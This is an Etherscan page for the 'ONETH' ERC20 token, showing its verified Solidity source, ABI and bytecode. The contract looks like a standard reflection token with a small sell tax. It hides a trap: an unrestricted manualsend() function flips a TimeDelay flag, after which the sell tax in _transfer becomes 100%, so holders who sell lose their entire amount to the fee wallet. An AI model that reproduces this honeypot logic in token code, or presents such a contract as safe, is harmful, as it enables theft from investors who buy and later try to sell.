ETH Price: $2,408.21 (-0.47%)

Token

ONETH (ONETH)
 

Overview

Max Total Supply

1,000,000,000 ONETH

Holders

32

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
18,052,054.357442731 ONETH

Value
$0.00
0x7569daC4C7Df483214EaaD5DEfaAf057a0a2Bff2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OnETH

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-06
*/

/*

Telegram:
https://t.me/ONETHerc

Website:
https://OnEth.pro

Twitter:
https://twitter.com/ONETH_erc

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract OnETH is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = "ONETH";
    string private constant _symbol = "ONETH";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 3;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    address payable private _developmentAddress = payable(0xc8FF0Dd9Bd5317d445D730E642a62AE5510e2569);
    address payable private _marketingAddress = payable(0xc8FF0Dd9Bd5317d445D730E642a62AE5510e2569);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    uint256 private TimeDelay = 0;

    bool private tradingOpen = true;
    bool private inSwap = false;
    bool private swapEnabled = true;

    uint256 public _maxTxAmount = _tTotal;
    uint256 public _maxWalletSize = _tTotal;
    uint256 public _swapTokensAtAmount = _tTotal*55/100000;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");

            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _swapTokensAtAmount*5)
            {
                contractTokenBalance = _swapTokensAtAmount*5;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 50000000000000000) {
                    sendETHToFee(contractETHBalance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router) ) {
                _redisFee = _redisFeeOnSell;

                if(TimeDelay == 0) {
                     _taxFee = _taxFeeOnSell;
                } else {
                    _taxFee =  100;
                }
            }
        }

        _tokenTransfer(from, to, amount, takeFee);
    }




    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }

    function manualsend() external {
        sendETHToFee(address(this).balance);
        TimeDelay = 1;
    }

    function manualSwap(uint256 percent) external onlyOwner{
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 swapamount = contractTokenBalance*percent/100;
        swapTokensForEth(swapamount);
    }

    function toggleSwap (bool _swapEnabled) external onlyOwner{
        swapEnabled = _swapEnabled;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001a670de0b6b3a76400006000196200037e565b6200002890600019620003ab565b600655600060088190556009819055600a8190556003600b819055600c829055600d819055600e829055600f556010805473c8ff0dd9bd5317d445d730e642a62ae5510e25696001600160a01b031991821681179092556011805490911690911790556014556015805462ffffff191662010001179055670de0b6b3a764000060168190556017819055620186a090620000c4906037620003c7565b620000d09190620003e1565b601855348015620000e057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360009081526002602090815260409182902092909255601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa1580156200019e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c49190620003f8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000212573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002389190620003f8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000286573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ac9190620003f8565b601380546001600160a01b0319166001600160a01b03928316179055600080548216815260056020526040808220805460ff1990811660019081179092553084528284208054821683179055601154909416835291208054909216179055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200035991815260200190565b60405180910390a3506200042a565b634e487b7160e01b600052601260045260246000fd5b60008262000390576200039062000368565b500690565b634e487b7160e01b600052601160045260246000fd5b81810381811115620003c157620003c162000395565b92915050565b8082028115828204841417620003c157620003c162000395565b600082620003f357620003f362000368565b500490565b6000602082840312156200040b57600080fd5b81516001600160a01b03811681146200042357600080fd5b9392505050565b6116be806200043a6000396000f3fe6080604052600436106101235760003560e01c806370a08231116100a057806395d89b411161006457806395d89b411461012f578063a9059cbb14610321578063b70143c914610341578063dd62ed3e14610361578063f2fde38b146103a757600080fd5b806370a08231146102a2578063715018a6146102c25780637d1db4a5146102d75780638da5cb5b146102ed5780638f9a55c01461030b57600080fd5b80632fd689e3116100e75780632fd689e314610219578063313ce5671461022f57806349bd5a5e1461024b5780636d8aa8f81461026b5780636fc3eaec1461028d57600080fd5b806306fdde031461012f578063095ea7b31461016c5780631694505e1461019c57806318160ddd146101d457806323b872dd146101f957600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082018252600581526409e9c8aa8960db1b6020820152905161016391906113ae565b60405180910390f35b34801561017857600080fd5b5061018c610187366004611414565b6103c7565b6040519015158152602001610163565b3480156101a857600080fd5b506012546101bc906001600160a01b031681565b6040516001600160a01b039091168152602001610163565b3480156101e057600080fd5b50670de0b6b3a76400005b604051908152602001610163565b34801561020557600080fd5b5061018c610214366004611440565b6103de565b34801561022557600080fd5b506101eb60185481565b34801561023b57600080fd5b5060405160098152602001610163565b34801561025757600080fd5b506013546101bc906001600160a01b031681565b34801561027757600080fd5b5061028b610286366004611481565b610447565b005b34801561029957600080fd5b5061028b610496565b3480156102ae57600080fd5b506101eb6102bd3660046114a3565b6104a6565b3480156102ce57600080fd5b5061028b6104c8565b3480156102e357600080fd5b506101eb60165481565b3480156102f957600080fd5b506000546001600160a01b03166101bc565b34801561031757600080fd5b506101eb60175481565b34801561032d57600080fd5b5061018c61033c366004611414565b61053c565b34801561034d57600080fd5b5061028b61035c3660046114c0565b610549565b34801561036d57600080fd5b506101eb61037c3660046114d9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103b357600080fd5b5061028b6103c23660046114a3565b6105a8565b60006103d4338484610692565b5060015b92915050565b60006103eb8484846107b6565b61043d843361043885604051806060016040528060288152602001611661602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c85565b610692565b5060019392505050565b6000546001600160a01b0316331461047a5760405162461bcd60e51b815260040161047190611512565b60405180910390fd5b60158054911515620100000262ff000019909216919091179055565b61049f47610cbf565b6001601455565b6001600160a01b0381166000908152600260205260408120546103d890610cfd565b6000546001600160a01b031633146104f25760405162461bcd60e51b815260040161047190611512565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103d43384846107b6565b6000546001600160a01b031633146105735760405162461bcd60e51b815260040161047190611512565b600061057e306104a6565b90506000606461058e848461155d565b6105989190611574565b90506105a381610d81565b505050565b6000546001600160a01b031633146105d25760405162461bcd60e51b815260040161047190611512565b6001600160a01b0381166106375760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610471565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106f45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610471565b6001600160a01b0382166107555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610471565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661081a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610471565b6001600160a01b03821661087c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610471565b600081116108de5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610471565b6000546001600160a01b0384811691161480159061090a57506000546001600160a01b03838116911614155b15610b645760155460ff1661099c576000546001600160a01b0384811691161461099c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610471565b6016548111156109ee5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610471565b6013546001600160a01b03838116911614610a735760175481610a10846104a6565b610a1a9190611596565b10610a735760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610471565b6000610a7e306104a6565b6018549091508082101590610a9490600561155d565b8210610aab57601854610aa890600561155d565b91505b808015610ac05750601554610100900460ff16155b8015610ada57506013546001600160a01b03868116911614155b8015610aee575060155462010000900460ff165b8015610b1357506001600160a01b03851660009081526005602052604090205460ff16155b8015610b3857506001600160a01b03841660009081526005602052604090205460ff16155b15610b6157610b4682610d81565b4766b1a2bc2ec50000811115610b5f57610b5f81610cbf565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610ba657506001600160a01b03831660009081526005602052604090205460ff165b80610bd857506013546001600160a01b03858116911614801590610bd857506013546001600160a01b03848116911614155b15610be557506000610c73565b6013546001600160a01b038581169116148015610c1057506012546001600160a01b03848116911614155b15610c2257600854600c55600954600d555b6013546001600160a01b038481169116148015610c4d57506012546001600160a01b03858116911614155b15610c7357600a54600c55601454600003610c6d57600b54600d55610c73565b6064600d555b610c7f84848484610ef5565b50505050565b60008184841115610ca95760405162461bcd60e51b815260040161047191906113ae565b506000610cb684866115a9565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610cf9573d6000803e3d6000fd5b5050565b6000600654821115610d645760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610471565b6000610d6e610f23565b9050610d7a8382610f46565b9392505050565b6015805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dc557610dc56115bc565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4291906115d2565b81600181518110610e5557610e556115bc565b6001600160a01b039283166020918202929092010152601254610e7b9130911684610692565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610eb49085906000908690309042906004016115ef565b600060405180830381600087803b158015610ece57600080fd5b505af1158015610ee2573d6000803e3d6000fd5b50506015805461ff001916905550505050565b80610f0257610f02610f88565b610f0d848484610fb6565b80610c7f57610c7f600e54600c55600f54600d55565b6000806000610f306110ad565b9092509050610f3f8282610f46565b9250505090565b6000610d7a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110ed565b600c54158015610f985750600d54155b15610f9f57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080610fc88761111b565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610ffa9087611178565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461102990866111ba565b6001600160a01b03891660009081526002602052604090205561104b81611219565b6110558483611263565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161109a91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006110c88282610f46565b8210156110e457505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361110e5760405162461bcd60e51b815260040161047191906113ae565b506000610cb68486611574565b60008060008060008060008060006111388a600c54600d54611287565b9250925092506000611148610f23565b9050600080600061115b8e8787876112dc565b919e509c509a509598509396509194505050505091939550919395565b6000610d7a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c85565b6000806111c78385611596565b905083811015610d7a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610471565b6000611223610f23565b90506000611231838361132c565b3060009081526002602052604090205490915061124e90826111ba565b30600090815260026020526040902055505050565b6006546112709083611178565b60065560075461128090826111ba565b6007555050565b60008080806112a1606461129b898961132c565b90610f46565b905060006112b4606461129b8a8961132c565b905060006112cc826112c68b86611178565b90611178565b9992985090965090945050505050565b60008080806112eb888661132c565b905060006112f9888761132c565b90506000611307888861132c565b90506000611319826112c68686611178565b939b939a50919850919650505050505050565b60008260000361133e575060006103d8565b600061134a838561155d565b9050826113578583611574565b14610d7a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610471565b600060208083528351808285015260005b818110156113db578581018301518582016040015282016113bf565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461141157600080fd5b50565b6000806040838503121561142757600080fd5b8235611432816113fc565b946020939093013593505050565b60008060006060848603121561145557600080fd5b8335611460816113fc565b92506020840135611470816113fc565b929592945050506040919091013590565b60006020828403121561149357600080fd5b81358015158114610d7a57600080fd5b6000602082840312156114b557600080fd5b8135610d7a816113fc565b6000602082840312156114d257600080fd5b5035919050565b600080604083850312156114ec57600080fd5b82356114f7816113fc565b91506020830135611507816113fc565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176103d8576103d8611547565b60008261159157634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156103d8576103d8611547565b818103818111156103d8576103d8611547565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156115e457600080fd5b8151610d7a816113fc565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561163f5784516001600160a01b03168352938301939183019160010161161a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206137c412280167d7e9e873556d53ff328fb5c7f5cc20b5aeb855f89ea74bbc4a64736f6c63430008130033

Deployed Bytecode

